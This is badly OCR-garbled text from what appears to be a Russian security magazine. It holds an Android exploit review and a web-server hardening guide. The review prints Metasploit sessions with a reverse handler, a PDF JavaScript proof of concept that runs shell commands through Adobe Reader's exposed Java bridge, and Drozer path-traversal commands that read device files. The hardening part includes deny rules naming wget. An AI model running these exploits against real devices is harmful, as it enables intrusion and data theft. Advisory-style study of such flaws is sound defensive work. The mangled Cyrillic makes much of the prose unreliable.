msf exploit(webview_addjavascriptinterface) > «
exploit

[*] Exploit running as background job.

] Started reverse handler on 192.168.81.135:4444
] Using URL: http://0.0.0.0:8080/xpEQVM

] Local IP: http://192.168.81.135:8080/xpEQVM
] Server started.

f exploit(webview_addjavascriptinterface) >

TARGETS
Android <= 4.1 (API 16).

SOLUTION
EcTb vcnpasneHne ot Npon3BoanTENS.

root@kali: ~

File Edit View Search Terminal Help

o be made if col

BbINOMHEHME MPON3BOJIBHOIO
JAVASCRIPT-KO[IA B ADOBE READER
[N ANDROID

CVSSv2: 9.3 (Av:R/Ac:M/A:N/C:C/I:C/A:C)
Aata penusa: 13 anpens 2014 roga
AeTop: Yorick Koster

CVE: 2014-0514

Tenepb pPaccMOTPUM MOAOGHYIO YA3BUMOCTb B OJHOM M3 MO-

NyNsipHbIX NpUNoXeHnii Ha Android-ycTpoicTBax — MOOGUIILHOW

Bepcun Adobe Reader ans pa6oTtbl ¢ PDF-gokymeHTamu. Mo npu-

MEPHbIM OLLEHKaM Ha MOMEHT HaxoXaAeHUs yA3BMMOCTM OHO ObIno

ycraHoBneHo Ha 100-500 MunnMoHoB ycTpoiicTs. V3-3a owmnbkm

B MPUIOXEHWM aTaKyoLWMNn MOXET BbIMONHUTL MPON3BONbHbIN KOS,

Ha yCTPOWCTBE Nosb3oBaTens npu npocmotpe PDF-gokymeHTa.
BHYTpW npunoxeHus cnepyowime Knaccbl npenocTtaBnsioT

JavaScript-uHtepdericol:

- ARJavaScript;

+  ARCloudPrintActivity;

+ ARCreatePDFWebView.

3710 03HayaeT, 4To B MobunbHoM Adobe Reader nob6asneHa
nopaepxka (adobe.ly/10XxfRG) JavaScript gna pa6oTsl ¢ Acrobat
API| (Hanpumep, pasnuyHbie GOopMbl AN BBOAA AaHHbIX). 10 He-
KOTOPbLIM MpuyMHaM umeHa JavaScript-o6bekToB HayMHaloTCA
C cuMBONa noavyepkmnBaHnA.

public class ARJavaScript
{
[...]

public ARJavaScript(ARViewerActivity o
paramARViewerActivity)
{
[...]
this.mWebView.addJavascriptInterface(newe
ARJavaScriptInterface(this), "_adobereader");
this.mWebView.addJavascriptInterface(newe«
ARJavaScriptApp(this.mContext), "_app");
this.mWebView.addJavascriptInterface«

(new ARJavaScriptDoc(), "_doc");
this.mWebView.addJavascriptInterface«

(new ARJavaScriptEScriptString«
(this.mContext), "_escriptString");
this.mWebView.addJavascriptInterface«

(new ARJavaScriptEvent(), "_event");
this.mWebView.addJavascriptInterface«

(new ARJavaScriptField(), " field");
this.mWebView.setWebViewClient

(new ARJavaScript.1(this));
this.mWebView.loadUrl("file:///android_asset/«
javascript/index.html");

}
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Mocne yero artakytowemMy AOCTaTO4HO CO34aThb CneuvasnbHbIv
PDF-daiin, B koTopom comepxuntcs JavaScript-kon, KOTopblii 3a-
MyCTUTCS NpW NPOCMOTPe daina nnn B3aMmMoaencTBmm (Haxartne
no kHonke) ¢ dainom. Ucnonb3oBaHne no6Oro M3 ykasaHHbIX
BbiLLe OObEKTOB AAET BO3MOXHOCTb MOAY4YUTb AOCTYN K ny6namy-
HOMy Reflection API HacnegoBaHHOIro M3 3Toro oobekTa. A yxe
13 API BbINONHUTL MPOU3BOSIbHLIN Java-Koga.

EXPLOIT

[lna TeCTMpoBaHUA Tbl MOXELLb CKadvaTb roToBbii PDF-dann (bit.
ly/1opBR4b) co cnepylowmm KoooMm, KOTOpbI co3paeT dain BHy-
TPY NECOYHULLbI MPUIOXEHWS:

function execute(bridge, cmd) {
return bridge.getClass().forName(«
'java.lang.Runtime")
.getMethod('getRuntime’,null).«
invoke(null,null).exec(cmd);

}
if(window._app)

try {
var path = '/data/data/«
com.adobe.reader/mobilereader.poc.txt’;
execute(window._app, ['/system/bin/sh',«
'-c','echo \"Lorem ipsum\" > ' + path]);
window._app.alert(path + ' created', 3);
} catch(e) {
window._app.alert(e, 0);

}

Kak Tbl yxe 3ameTun, BHyTPY KoJa Mbl 0OpaLLaemcst K 04HOMY
13 yKa3aHHbIX Bbllle JavaScript-o6bekToB — window. _app.

Jns aTon ya3BnMMOCTH Takxe cywectsyeT Metasploit-moaynb,
HanMcaHHbI NOIb30BATESNIEM jOEV:

msf > use exploit/android/fileformat/«
adobe_reader_pdf_js_interface

msf exploit(adobe_reader_pdf_js_interface) >«
set LHOST 192.168.81.130

msf exploit(adobe_reader_pdf_js_interface) >«
exploit

[*] Generating Javascript exploit...

[*] Creating PDF...

[+] msf.pdf stored at /root/.msf4/local/msf.pdf
msf exploit(adobe_reader_pdf_js_interface) >

Janee nonydyeHHblli dain oTnpasBnsieM Ha TeCTMpyemoe
YCTPOWCTBO 1 NpeasiaraeM OTKpbITb.

TARGETS
Adobe Reader for Android 11.1.3.

SOLUTION

EcTb vicnpasneHve oT Npon3BoanTens.

06X0[ SSL UYAAJIEHHOE BbIMOMHE-
HUE KO[1A B PAYPAL 5.3 [1)191 ANDROID

CVSSv2: N/A

Aara penusa: 10 mapta 2014 roga
AsTop: Henry Hoggard

CVE: 2013-7201, 2013-7202

Jymalo, HUIKOMY He Hafo pacckasblBaTb NPO MIATEXHYIO cUCTe-
My PayPal, a dyHKUMOHan MOBGUABHOIO NPUIIOXEHUSI CXOX C BED-
BEpCUEln — NoJly4YeHne 1 0TnpaBka AEHEXHbIX CPeaCcTB, NO3ITOMY
nepeligem cpasy kK oLmokam.

Hawa nccnepyemas nporpamma, Kak 1 B NPUIOXEHUSAX Bbllle,
ncnonb3yet moaynb WebView. NMoMnmMo OCHOBHOI yS3BUMOCTU,

root@kali: ~

=
me Edit View Search Terminal Help

No3BONSIOLLEN BbINONHATL JavaScript-koa, B NpunoXeHuu nve-
eTcsa owmnbka, koTopasi NO3BOJSIAET NPUHUMATbL AaXe HeoencTBu-
TenbHble SSL-cepTudmkathbl:

public void onReceivedSslError(WebView«:
paramWebView, SslErrorHandler paramSslErrorHadler,
SslError paramSslError)

{
}

paramSslErrorHandler.proceed();

[Ans vcnpaBneHus [OCTaTOMHO 3aMeHUTb KOMaHay proceed
Ha cancel:

paramSs1lErrorHandler.cancel();

To ecTb HaMm gocTaTo4HO coBepwnTb MITM-ataky Ha ycTpo-
CTBO W BCTaBNsATb HYXHbI Ham JavaScript-kog, B nosiydyaemble
YCTPONCTBOM CTPaHWL.

YAa3BMMble KNacchbl B NPUNOXEHUN:

+ com/paypal/android/choreographer/flows/help/

WebHybridClient.java;

+ com/paypal/android/choreographer/flows/shop/
fragments/EnhancedCheckinHybridFragment. java;

+ com/paypal/android/choreographer/web/
WebHybridClient.java.

EXPLOIT
Halinem 1 pasbepem meton knacca WebHybridClient, oTBevato-
i 3a JavaScript-uHtepdeinic:

public View onCreateVie(LayoutInflater—
paramLayoutInflater, ViewGroup paramViewGroup,«
Bundle paramBundle)

{

this.web.getSettings().setJavaScriptEnabled(true);

this.web.addJavascriptInterface«
(this.mListener, "ppAndroid");

return localView;

}

Kak n B npowinom Homepe B cnyyae ¢ Yahoo, HaxoamMm o6bekT
ppAndroid, MCnonb3ys KOTOPbLI MOXHO BbIMNOMHWUTL JIIOOON KO,
B CUCTEME WM HEMHOTO U3MEHUTb TPaH3aKUMIO B NOMb3Y aTaky-
IOLLIero.

TARGETS
Paypal <=5.3 & Android < 4.2.

SOLUTION

Ectb ucnpasneHnve ot npousdsoauTens. Hy u pekomeHpaums
He ucnonb3oBatb NyénnyHble Wi-Fi-ceTv n apyrme HeHagexHble
NOAKIIIOYEHUS ANS AEeHEXHbIX ONepaLuii.
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Mpumep cospa-
Husa PDF-daiinac nomo-
wbio Metasploit-moayna
ANS aKcnnayarauum
ysa3sumocTeli B Adobe
Reader




PACKPBITUE NYTEH B TOTAL
COMMANDER [1J1f1 ANDROID

CVSSv2: 4.4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)
Aarta penu3a: 1 mas 2013 roga

ABTop: dukeBarman

CVE: 2013-3310

Tenepb paccCMOTPUM ySI3BMMOCTb B npunoxenun Total Commander.
9 Halen ee B MPOLLIOM rofly BMECTE C 60/bLUMHCTBOM YS3BUMOCTEN
B MPUJTIOXEHUAX OT KOMMaHnn <<ﬂHﬂeKC>>, O KOTOpPbIX y>XXe nucan paHee
Ha CTpaHuLax HaLlero XxypHana.

Kak 1 MHOrve 13 HanaeHHbIX MHOIO YS3BUMOCTEN HA TOT MOMEHT,
owmnbka HaxoOUTCs B KOHTEHT-NpoBaigepe. Kak oTeeTun aBTop,
OHa 1cnosib3oBanach A5 3arpy3ku Gannos, Ho, Kak 06bI4YHO 1 BbiBa-
€T, N3-3a OTCYTCTBUSI JOCTATOYHON MPOBEPKUN 3TO MO3BOJSIMIIO aTaKy-
IOLLLEMY YUTaTb pasnuyHble daiinbl B CUCTEME, K KOTOPbLIM Y YA3BMMO-
ro NPpUNOXeHsa nMeeTcs O0CTyn.

EXPLOIT

[nsa akcnnyataumm Takoin 1 gpyrmx nogo6HbIX YSI3BMMOCTEN BOCMNOb-
3yemcs cHoBa nporpammont Drozer. PaHee oHa HasbiBanacb Mercury,
1 Kak pa3 paboTy C Hell 5 onucbiBan B Toi cTatbe. o Kaknum-To npu-
YnHaM pa3pa60TL{VIKI/I N3MEeHUNN Ha3BaHMe 1 caenaj HeCkKOJIbKO
penakumin — community 1 Pro. OCHOBHOE OTAnyune nocnegHen — aa-
MUHUCTPATVBHASA NaHesb ANS yNpaBieHVs YCNeLHO aTtakoBaHHLIMU
YCTPOMCTBMU. HO BEpHEMCS K HalLen ya3BMMOCTU. B kauecTBe TecTta
MPOYTEM OAVH U3 CUCTEMHbIX HAANoB:

dz> run app.provider.read content://com.ghisler.«
android.TotalCommander.files/../../../..[..[..[../
system/etc/hosts

localhost 127.0.0.1

Mnu npountaem noboi daiin n3 gupeKkToprum camoro npunoxe-
HUS:
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dz> run app.provider.read content://com.ghisler.«
android.TotalCommander.files/../../../..[..[..[..[/«
data/data/com.ghisler.android.TotalCommander

Tak KaK 3TO NPUNIOXEHNE SBNSIETCS GanioBbIM MEHELXKEPOM U UC-
nonb3yeTcs ANs OTKPbITUS MHOTMX (aiinoB, TO MOXHO MOMbITaTbCS
HaNTW KeLl U NPOYNTaTh OTKPbITbIE UK 3arpy>XXeHHble daiinbl.

Ha cBoem rutxabe ( ) S BblknaaplBan UCXOOHWKMN
atakyowero Android-npunoxeHus ona obpaweHns K ysa3BUMbIM
npoeangepamM B NpuioxeHusx AHaekca, HO TaM 6bliv 0OblYHbIE
SQL-3anpocbl. Ans 4TeHns dainnos HyxxHO ByaeT BOCNONb30BaTbCS
cneayowen GyHKumnen:

resolver.openInputStream(uri)

Tak Kak atakyloLemMy MPUIOXEHNIO He HYXHO Kakmx-nvbo npas,
€ro C IErKOCTbIO MOXHO OTNPaBUTb NOSIb30BATENIO MO, BULOM «XKMBbIX
060€eB» UM NOTPATUTb HEMHOIO BPEMEHW 1 KITOHMPOBAThb Urpy. A OHO,
B CBOIO o4epenb, OyAeT unTtatb pasnunyHblie Gainbl Yepes ysa3BumMoe
NPUIoXeHne, y KOTOPOro ecTb A0CTyN, Hanpumep, k SD-kapTe:

dz> run app.provider.read content://com.ghisler.
android.TotalCommander.files/../../../../..[..[../
sdcard/

B cBOI0 04epeab, AOCTYN K BHELWHEN KapTe NaMaT moMoraeT no-
JIy4UTb OOCTYN K KELLY pasfinyHbiX nporpamm, Hanpumep kK WhatsApp
0.

Kcratu, 3a aTy ys3BMMOCTb GblSI0 TakKe NoslydeHo HebonbLUIoe Ae-
HEXHOEe BO3HarpaxaeHvie ot pa3paboTynka 1 MMCbMO C U3BUHEHUSIMU
3a ero mMasbliii paamep. XKanb, 4TO He BCe Tak OTHOCHATCS K CBOEMY MpPO-
ayKkry.

TARGETS
Total Commander <= 2.01.

SOLUTION

EcTb ucnpasneHve oT nponssoauTens. 3.



280 pyb6neu 3aHoMep!

HacuyacTo cnpawmBatoT: «ByeM npeMMyLLecTBO NOANUCKN ?>> nonn UCKA
Bo-nepBhbix, 370 BEIrOAHO. [ToTepsiBLUME COBECTL pacnpocTpa-

HWUTENIN He CTECHSIOTCA MPOoLaBaTh XKypHas Mo 4BOMHOM LeHe. 6 MecsiueB 1680 p.
Bo-BTOpbIX, 3T0YA06HO. He Ha10 MCKaTb XXypHa B Mpoaaxe 12 mecsiueB 3000p.

nB0oATbCA NPOMOpPraTb MOMEHT, KOT/Aa BECb TMPaX y>Ke pas-
6epyT. B-TpeTbux, 310 6bicTpo (MpaBaa, 3To Npasuno eicTeyet
He 415 BCcex): NofnMcyMKaM CBEXMIA BbINYCK OTNPaBAseTcs paHb-
LLe, YeM OH MOAIBASETCS Ha MPUIaBKax MarasmHoB.
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10N0K AEDONT!

CPYBAEM MO/ KOPEHb
CTAHIAPTHBIE HACTPOWKI
BEB-CEPBEPOB

YacTto, passopaynsas cepBep 4J1s1 CBOEro pecypca
nnn HactpauBas apyroe N0, Mbl ocTaBnseM 60bLUMHCTBO ONUUIA
B KOHPUrypaLMOHHbIX dainnax rno yMoa4aHuio.

MoTom NpoekT obpacTaeT GyHKLMOHANOM, U KOHPUIM BCE pexe
yOooCTanBaloTCA BHUMaHUSA, NpeBpaLlascb B 60MObl 3aMeaIEHHOrO
LENCTBUS, KOTOPbIE 3/1I0YMbILLNEHHMK MOXET YCMNELIHO
ncnosib3oeaTthb. [osTOMY CEroAHSA Mbl PACCMOTPMM NapamMeTpbI
6e3onacHOCTU NonynsipHoOro cepepHoro MO, HaCTPOMKY KOTOPbIX
Jlyylle He OTKNadbliBaTb B A0AMMN ALLNK.
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APACHE

HayHeMm ¢ koHdUurypauum nHaenua, 3aBoeBaBLLEro MECTO Ha MHOTMX cepBepax B CeTu. [MepBas
HacTpolika, KOTOPYIO XenaTesibHO CAeNaTb, — 3TO INLLNTb 310YMbILLNIEHHVKA BO3MOXHOCTU y3-
HaTb Bepcuto Apache. Jns 3TOro cywlecTByeT ABE ONuum, KOTOPbIM HAaA0 NPUCBOUTL CEayo-
Lye 3HaYeHns:

ServerSignature Off
ServerTokens Prod

OTAenbHbINM NONIb30BaTeNb U Fpynna

BTopbIM MyHKTOM XenatenbHo ybeauTbes, 4To Apache paboTaeT nof CBOUM OTAESNbHbIM
nonb3oBaTtenem v rpynnoii. Ecnu nog atum e nonb3osatenem Oyaet paboTtarb, Hanpumep,
CYB/, To B cnyyae komnpomMeTauumn Be6-cepeepa 3/10yMbILLIEHHMK CMOXET MOMYy4nTb A4OCTYN
1 K 6a3e AaHHbIX.

KopHeBas aupexTopus

3arem HeobxoamMMo ybeamTbes, 4To dalinbl, PACNONIOXEHHbIE BHE KOPHEBOW AMPEKTOpUU,
He obpabaTtbiBaloTcs BeO-cepBepoM. ECnv npeanonoxmTb, YTO BCe CaiTbl HA CepBepe Haxo-
OATCSA B OOHOW AVPEKTOPUM (0NYCTUM, /web), KOHbUrypaums 0oxHa BbIrSaeTb Cleayowmm
obpasom:

<Directory />
Order Deny,Allow
Deny from all
Options None
AllowOverride None
</Directory>

<Directory /web> WWW
Order Allow,Deny
Allow from all Cnucok Haubonee yacto
</Directory> BCTPEYAIOLMXCS OWNBOK

B KOHGUrypauum nginx
1 COBETHI N0 MX yCTpaHe-
Huto: bit.ly/1mQU2dG

BbIK/II04MTE MPOCMOTP COAEPXKMMOrO ANPEKTOPUIA MOXHO BHY-

Tpu Tera <Directory> ¢ nomoLlpbio Options -Indexes:
BbIKNIOYUTB server side nHknyapl — Options -Includes;

+  OTKMOYUTB BbinonHeHne CGl — Options -ExecCGI;

+  He no3BonsTb Apache OTKpbIBaTb CUMBONYECKME CChINIKN —
Options -FollowSymLinks.

Pecypcbi uDoS

Y7106bI cMArYnTL 3ddekT oT DoS-arak, MOXHO CHU3UTbL 3HAYEeHue

TaiiM-ayTa — Timeout 45. Kak BapuaHT, MOXHO €Lle YCTaHOBUTb WWW
orpaHuyeHve Ha pasmep Tena 3anpoca, CAenaB ero, K npume-

py, paBHbiM 1 M6, — LimitRequestBody 1048576. A BoOOLLE, BonblWMHCTBO TPYAHO
Ha MoBedeHWe cepBepa Mpu MOBbILEHHOM BHUMAHUWN K HEMY 0TnaBnMBaeMbix npobnem
CO CTOpPOHbI 60TOB GyAyT BAMSATL ele creayolme napameTpsbl: (KoTOpbIE MOTYT NOBAUATH
RequestReadTimeout, KeepAliveTimeout, MaxRequestWorkers, 1 Ha 6@30MacHOCTb)

a TaKkke [MPEeKTVBbI, OrpaHuyMBailolme noTpebneHve pe-
CYpCOB: LimitRequestFields, LimitRequestFieldSize,
LimitRequestLine n LimitXMLRequestBody.

¢ Be6-cepBepoM BO3HMKa-
10T N3-3a HENPaBUbHO
KoHdurypauum. Ha caire
Apache (bit.ly/1pbfGxl)
NpWBEAEH CNUCOK
TUNUYHBIX MUCKOHUIY-
paumit, ¢ 06bsiCHeHneM

OrpaHuMuyeHue gocTtyna
B cnyyae ecnun pasBepHyTbI HA cepBepe pecypc npeaHasHavyeH
TOJIbKO AN ONPEAENeHHON NOACETN, MOXHO OrPaHNYUTb AOCTYN

K HEMY: npo6nembl 1 cnocobom
peLenns.

Order Deny,Allow

Deny from all

Allow from 176.16.0.0/16 BasoBas aBTopusauus
BApache

nnn ana otaensHoro IP-agpeca: Allow from 127.0.0.1.

3awmra HacTpoek Mpsiyem Apache

Y7066l 3aWMTUTL Security-HaCcTPONKN B KOHPUrypaumoHHoOM dai- OTYyXUXrnas —

e, MOXHO OTK/IIOUNUTL NoAAEepPXKY htaccess-dalinos: ServerSignature Off

Authentication Required |i‘
9‘ A username and password are being requested by http://127.0.0.1:8000. The site says: "Private”
User Name:

Password:

oK ] [ Cancel
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<Directory />
AllowOverride None
</Directory>

NGINX

Cnepnyiowmm rocteM Hawero o63opa crnenyet Be6-cepeep nginx.
Bo-nepBbIX, MOXHO, Kak 1 B ciydae ¢ Apache, CkpbITb TUN 1 BEP-
CUI0 cepBepa, 3TO Tak HadbiBaemMoe security through obscurity,
KOTOpOEe 3acTaBWT artakylowero noTpaTuTb AOMNOSHUTENbHOE
Bpewms. [lna atoro B danne src/http/ngx_http_header_filter_
module.c Hag0 NOMEHSTL CTPOKU

static char ngx_http_server_string[] =«
"Server: nginx" CRLF;

static char ngx_http_server_full_string[] =«
"Server: " NGINX_VER CRLF;

Ha

static char ngx_http_server_string[] = «
"Server: ][akep Web Server" CRLF;

static char ngx_http_server_full_string[] = «
"Server:][akep Web Server" CRLF;

Mocne yero ckomMnuaMpoBaTtb cepBep. YToObl CKPbITb BEPCUIO
cepBepa, HYXHO B KOHbUrypauvoHHoMm daine nginx.conf go-
6aBuTb onumio server_tokens off. Tenepb atakyloLemMy He Tak
npocTo O6yaeTt y3HaTb Tun BeG-cepBepa 1 ero Bepcuto. Yto yxe
Hennoxo.

OrpaHuumnBaem oydepbi

Janee, 4T0Obl HEMHOIO 06€30MacUTLCS OT atak, CBA3aHHbLIX C Mne-
penonHeHnem 6ydepa, MOXHO MPUMEHUTb CIeAyoLLME HACTPOW-
Kit:

client_body buffer_size 1K;
client_header_buffer_size 1k;
client_max_body_size 1k;
large_client_header_buffers 2 1k;

roe

- client_body_buffer_size onpegensieT paamep bydepa s knm-
€HTCKOro 3anpoca;

- client_header_buffer_size yctaHaBnmBaeT pasmep 6ydepa
019 YTeHMS 3arofi0BKa 3anpoca KNeHTa;

« client_max_body_size — makcvmanbHbI pa3mep Tena 3anpoca
KJIMEHTa;

+ large_client_header_buffers 3agaet makcMmanbHoe 41cno
1 pa3mep 6ydpepoB 419 YTeHMS 6OBLLLIONO 3arosioBka 3anpoca
KJIMeHTa.

dunbTpyem user-areHTbl

KoHdurypaumoHHbin  darin nginx.conf no3Bonser [0CTaTO4HO
rMbko HacTpouTb BeG-cepBep nog cebs. Hanpumep, MOXHO 3a-
NpeTUTb AO0CTYN OnpeaeneHHbIM user-areHtam — 60TaMm, ckaHe-
pam, downloader’am:

if ($http_user_agent ~*«
LWP: :Simple|BBBike |wget|libwww-perl) {
return 403;}

D oNoi XOTANHKMUHI

ELIJ,e OAHa nonesHas BO3BMOXHOCTb — 3anpeT Ha XOTJIMHKUHI (KOI’-
@ KaKOM-TO CTOPOHHUI PECYpC CChINaeTCs Ha N306paxeHne nnm
KaKoW-TO [pyroi pecypc TBOero cepeepa):

|7 404 Not Found

€ ¥ @ [)192.168.1.7/home

Not Found

The requested URL /home.html was not found on this server.
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location /images/ {
valid_referers none blocked www.xakep.ru xakep.ru;
if ($invalid_referer) {
return 403;
}

Taknum 06pasoM MOXHO CHU3UTb HArpy3Ky Ha cepBep 1 pacxoapl Ha Tpaduk, ecnu y Tebs
packpy4eHHbI pecypc, KOHeYHO. Ecnm HeT — TO HMYero CTpalHoro, eciv KTo-To coweTcs
Ha KapTUHKY C TBOErO caiTa.

OrpaHuMuyeHue gocTtyna
ELLe MOXHO pa3peLunTb/orpaHnymTb 4OCTYN K AMUHKE UKW KaKo-TO APYro AUPEKTOPUM pe-
cypca TONbKO ANs onpeaeneHHbix IP-agpecos.

location /docs/ {
## block one workstation
deny 192.168.1.1;
## allow anyone in 192.168.1.0/24
allow 192.168.1.0/24;
## drop rest of the world
deny all;
:

BoTbl nop 3anpeTom

BopoTbes ¢ 60Tamm, CKaHMPYIOLLMMIN CEPBEP Ha HanM4yme pasinyHbiX JOMEHOB, MOXHO, pas-
peLwnB 3anpocChl TOJIbKO K CKOHCDI/II'ypI/IDOBaHHbIM BMPTYyaJibHbIM AOMEHAM UNN reverse-npokcu
3anpochbl:

if ($host !~ ~(xakep.ru|www.xakep.ru|images.xakep.ru)$ ) {
return 444;

AHaNoOrM4HO MOXHO M OrpaHMYUTb YUCNO AOCTYNHbIX HTTP-mMeTon0B, Hanpumep ocTasuns
Tonbko GET, POST n HEAD:

if ($request_method !~ ~(GET|HEAD|POST)$ ) {
return 444;

}

PedepanbHbiii cnam
[na 60pbbbl C pedepanbHbiM CNamoM, KOTOPbI MOXET HEraTUBHO OTPa3uTbCs Ha TBoem SEO-
paHre, MOXXHO UCMONIb30BaTb I'IO,EI,OﬁHy}O KOH¢VIpraLI,I/HOZ

if ( $http_referer ~* (babes|forsale|girl|jewelry]|love|nudit |«
organic|poker|porn|sex|teen) )

{
return 403;
}
Feorpaduueckuii 6aH

Ecnu 13 kakoi-To CTpaHbl Ha TBO PeCypC MOCTOSIHHO MAYT ataku UM NPOCTO KOHTEHT He Npea.-
Ha3Ha4yeH ang Kakon-To CTpaHbl, TO OOCTYN nojsib3oBatesidM U3 TakMxX CTPpaH TakXe MOXHO
orpaHnynTb. Cnepsa Hago BHYTPY KOHbUrypaLumoHHoro 61oka http{} ykasarb pacnonoxeHvie
GeolP 6a3bl AaHHbIX — geoip_country /etc/nginx/GeoIP.dat;, a 3aTem yka3aTb nginx, ka-
Kne cTpaHbl cneayeT 3ab10KMpoBaTh:

if ($geoip_country code ~ (CN|KR|UK) ) {
return 403;

}

3anpeT Ha BbiNOJIHEHUE CKPUNTOB

HemHoro o6esonacuTb CBOI PEcypC MOXHO elle OAHUM Cro-
cob6OM — 3anpeTuTb BbINONHEHNE CKPUMTOB M3 ONpeneneHHbIX
aupekTopuii. Befpb, kak a9To 06bl4HO OblBaeT, BeO-wlenn 3anuv-
BaeTCsl aTakylolmMM B OOHY M3 OAMPEKTOpWiA, npefHasHa4yeHHbIX

UcTtopus MySQL xpauuTt
O4Y€eHb MHOro MHTEpec-
HOrO...

Ho 403 Forbidden - Mozilla Firefox. =G

Firefox v | (] 203 Forbicden [*+]

v | |B~ coogle

PackpbiTue Bepcum PHP
-« 192.168.0.123

Ecnu He BbIK/IIOYUTb

403 Forbidden

server_tokens, To o4eHb

NPOCTO y3HaTb Bepcuio

nginx/1.2.9 X
nginx
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nnsa upload’a. Ytobbl, Aaxe ecnv emy yaanocb 060t Bce busb-
TPbl ¥ 3a1UThb LLIEN BMECTO aBaTapku, OH He CMOT UM BOCMOJb30-
BaTbCHA, HAO0 cAesiaTb Tak:

location ~* /(images|cache|media|logs|tmp)/.*—
.(php|pl|py|jsplasp|sh|cgi)$ {

return 403;

error_page 403 /403 _error.html;

}

MYSQL

Hy a Tenepb NpuULLINO BpeMs HEMHOro NoroBopuThL 0 6e3onacHo-
ctn nonynsipHon CYB/,. Kak Tbl NOMHULWb, ee KOHDUTypaLUNOHHbIA
dain HasbiBaeTcs my . cnf. OBbIYHO NEPBOI N3 HACTPOEK TYT NPO-
BEPSAIOT/M3MEHSAIOT bind-address, koTOpas oTBe4aeT 3a 70, C Ka-
KX aapecoB MOXHO OyaeT noakmountecs kK CYB/,. Tak kak 06bly-
HO 6a3a AaHHbIX GU3NYECKN pacrnonaraeTcs Ha TOM Xe cepBepe,
4TO M CaM pPecypc, TO AaHHas ONuMsA BbICTABASETCA B 3HA4YeHue
127.0.0.1. To ecTb 6a3a AaHHbIX NPUHMMAET TOJIbKO JIOKasbHbIE
noaksoyeHns. Kcratu roBopsi, kak BapMaHT, MOXHO eLle NpoCcTo
3anpetuTb MySQL oTKpbIBaTb CETEBOI COKET, 4OOABUB B KOHDU-
rypaumonHblii dainn skip-networking.

3anpetHauTteHue dpaitnoe

OpHa 13 4acTo BCTpeyalowmxes yassumocten — SQL-nHbekums.
MomMnMO TOro, 4TO C ee MOMOLLBIO 3/I0YMBILLIEHHNK MOJTy4aeT
OaHHble 13 B[], OH MOXeT Takxe Mony4nTb BO3MOXHOCTb YMTaTb
nokasbHble daiinbl. YTobbl 3TOro He NPOM30LIo, HeobxoaMMo
yCTaHOBUTb NapameTp local-infile B 3Ha4eHwme 0.

Mensiem pyT

ELle ogHUM HEeNoX1M LWarom Ha nyTu kK 6esonacHocTy 6yneT us-
MEeHEeHNe MMEeHN 1 Naposia cynepnosib3oBarend. Mo ,u,ed)onTy 3TO
006bI4HO nonb3oBatenb root. [lenaetca aTo cnenylowmmMmy KOMaH-
aJamu:;

mysql> RENAME USER root TO new_user;
mysql> SET PASSWORD FOR
'new_user'@'%hostname' = PASSWORD('new_pass');

YT06bl HE cMyLLATb MIOXUX NAPHEe, nyylle Takxe yaanute B,
test, co3paBaemyto Npy yCTaHOBKE, M BCEX @HOHVUMHBIX MOJIb30-
BaTesieii C NycTbiMy NaposisiMu.

YucTtum ucropuio

HenuwHum 6yneT Takxke TLaTesbHO NOAYUCTUTL UCTOPUIO, KyAa
COXPaHSAETCH O4eHb MHOIO LeHHenLwen nHbopmaummn (Hanpumep,
naposen, XxpaHMMbIX B OTKPLITOM BuAge). Jenaetcs 310 cneayto-
LM 06pasom:

cat /dev/null > ~/.mysqgl_history

HTTP/1.1 200 OK

Cate: Fri, 12 Oct 2012 04:57:41 GMT

Server: Apache/2.2.17 (Ubuntu}

X-Powered-By: PHP/5.3.5-1ubuntu7.11 ﬁ PHP version info
Content-Length: 5840

Connection: close

Content-Type: image/gif
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PHP

Mo 6e3onacHocTn PHP goctatoyHo MHOro HanucaHo kak B CeTu,
Tak 1 Ha CTpaHWLax Halero xypHasna, noaToMy 0CoH6eHHO 0o
OCTaHaBNMBATLCS Ha 3TOM He Byaem. OTMEeTUM nuLb Hanbonee
3HaYMMble napamMeTpbl, Ha KOTOpble CTOUT obpallaTe BHUMAHME
B NepByio o4epeb.

OnacHbie pyHKUUMn

BO-FIepBbIX, MO>XHO 386J'IOKV|pOBaTb BbI30B NOTEeHUMasIbHO onac-
HbIX OYHKUMIA ¢ nomowbio disable_functions = phpinfo,
system, mail, exec. 3aTem OrpaHv4MTb UCMOJIb3OBAaHNE pe-
CYypCOB — MakCuUMa/lbHOE BPEMS BbINOJIHEHNS CKpunTa (max_
execution_time), Bpems Ha pa3bop 3anpoca (max_input_time),
pasmep noTpebnsemMon KaxaplM CKPUMNTOM MNamMsaTu (memory_
1limit), MmakcumManbHbIn pasmep AaHHbIX, nepeaasaemblii POST-
3anpocom, u Tak ganee.

Owuoxu nnorn
MOTOM MOXHO OTKJIOYUTb BbIBO/, owmnbokK nonb3oBaTenaM —
display_errors = Off v BKJIIOYUTL IOrMPOBaHUE:

log_errors=0nerror_log=«
/var/log/httpd/php_scripts_error.log

Mackuposka

OTkntounTh expose_php, 4ToObl He BblAaBaTb GakT NPUCYTCTBUS

PHP Ha cepsepe. MpaBaa, Takom TPIOK NOMOXET TONbKO B Cly4ae

ncnons3osanus YMy. B npotnsHom cnyyae URL BCe BblAACT.
ELle MOXHO OTKIOYUTb BO3MOXHOCTb OTKPbITUSI YAANEHHbIX

dannos, ona 3TOro B KOHPUrypaumoHHoMm danine security.ini

yctaHasnmsaem allow_url_fopen B 3HaueHue Off.

Forceredirect
Y106bl NPenoTBpPaTUTL MOMbITKM HENOCPEeACTBEHHOrO BbI30BA
PHP no agpecy supa:

http://my.host/cgi-bin/php/secretdir/script.php

TakXe MOXHO BOCMOJIb30BaTbCs AnpekTnBol cgi.force_redi-
rect = 0.

B Takom cnyyae PHP 6ynet o6pabaTbiBaTb Npulleawnii 3a-
npoc, TONbKO ecnu oH 6bl1 NepeHanpasneH Be6-cepBepoM.

Hy 1 KOHEYHO Xe, MOXHO BK/OYUTbL safe_mode 1 OTKAKYUTL
register_globals.

MEMCACHED

CoBpeMeHHble MPOEKTbI CTAHOBSITCS BCE CJIOXHEe U MacluTab-
Hee, C POCTOM 4ucna NnoceTuTene pacteT M Harpyska Ha cep-
Bep. YTo6bl 6OPOTLCS C BO3pacTaloLLleli Harpy3kon, HadyMHaloT
NPUMEHsTL KelunpoBaHue. Hanbonee nonynsipHbiM peLlueHnem
asnsetcs memcached. O4yeHb 4acTo NMpU ero pasBepTbiBAHUN
He yOensitloT AO0/MKHOro BHUMaHua 6e3onacHocTu. B pesynbrate
noTeHumanbHble Ablpbl MOrYyT rogamMmm ocCTaBaTbCA He3aMeyeH-
